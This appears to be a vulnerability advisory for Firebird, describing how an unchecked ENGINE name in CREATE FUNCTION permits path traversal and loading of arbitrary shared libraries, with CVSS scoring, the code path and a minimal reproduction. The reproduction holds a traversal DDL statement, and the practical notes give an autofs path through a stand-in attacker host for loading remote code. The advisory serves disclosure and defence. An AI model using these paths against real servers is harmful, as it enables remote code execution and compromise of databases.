1. Summary

When a user runs CREATE FUNCTION ... ENGINE "<name>", Firebird takes the engine name and appends it to the plugins directory to build a filesystem path. It does not check for path separators or .. components, so dlopen() (or LoadLibraryEx() on Windows) ends up loading a shared library from anywhere on the filesystem, not just the plugins folder.

The loaded library's initialization code (constructors on Linux/macOS, DllMain on Windows) runs immediately during load, before Firebird even checks whether the module is a valid plugin. The SQL statement fails with a metadata error, but by that point the code from remote library has already executed inside the server process.

No special configuration makes this worse or better. Unlike the legacy UDF path, which has UdfAccess restrictions, the engine/plugin lookup path has no allowlist, no realpath() check, and no config option to lock it down.

This vulnerability becomes specially dangerous in a case when ExternalFileAccess parameter in firebird.conf is set to non-default value, enabling write to host's filesystem with later execution of written file.

2. CVSS

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 10.0 Critical

3. At a glance

4. Tested against

5. How it works

The code path

1. The engine name comes in as a quoted SQL identifier. Firebird does not restrict which characters are allowed here.
2. PluginLoadInfo in src/yvalve/PluginManager.cpp calls getPrefix(DIR_PLUGINS, engineName), which just does string concatenation: <install_root>/plugins/<engineName>.
3. That string goes straight to dlopen(). The OS resolves .. segments, so the path walks right out of the plugins directory.
4. Any constructor or init routine in the loaded library runs during dlopen(), before Firebird checks for a _firebird_plugin symbol and rejects the module.

Why UdfAccess does not help

Firebird has long had path restrictions for legacy UDFs (UdfAccess = None | Restrict | Full). The engine/plugin loader does not go through that check. There is no equivalent setting for ENGINE names in affected versions.

What the attacker gets

Code execution as whatever OS account runs the Firebird process. That is typically firebird on bare-metal Linux, root in many container images, or SYSTEM on Windows services. From there it is straightforward to read databases, pivot, or persist.

Getting a library onto the target (practical notes)

• Simplest case: a shared object already exists at a known path (uploaded through an application, dropped in /tmp by another process, etc.).
• On systems with autofs -hosts maps (default on older macOS, common on enterprise Linux), an ENGINE path like ../../../../net/ATTACKER_IP/share/evil triggers a network mount. No file placement needed at all.

6. Minimal reproduction

Compile a tiny shared object with a constructor:

#include <stdio.h>

struct Marker {
    Marker() { puts("<<< constructor executed >>>"); }
};

static Marker m;

Then, from any SQL client connected as a user with CREATE FUNCTION:

create or alter function evil (val int) returns int
  external name 'udf_compat!UC_frac'
  engine "../../../../../../mnt/evil.so";

Running this in embedded mode (server normally swallows stdout & stderr) you will see <<< constructor executed >>> printed before the DDL fails with "Standard plugin entrypoint does not exist." The constructor already ran. That is the security impact.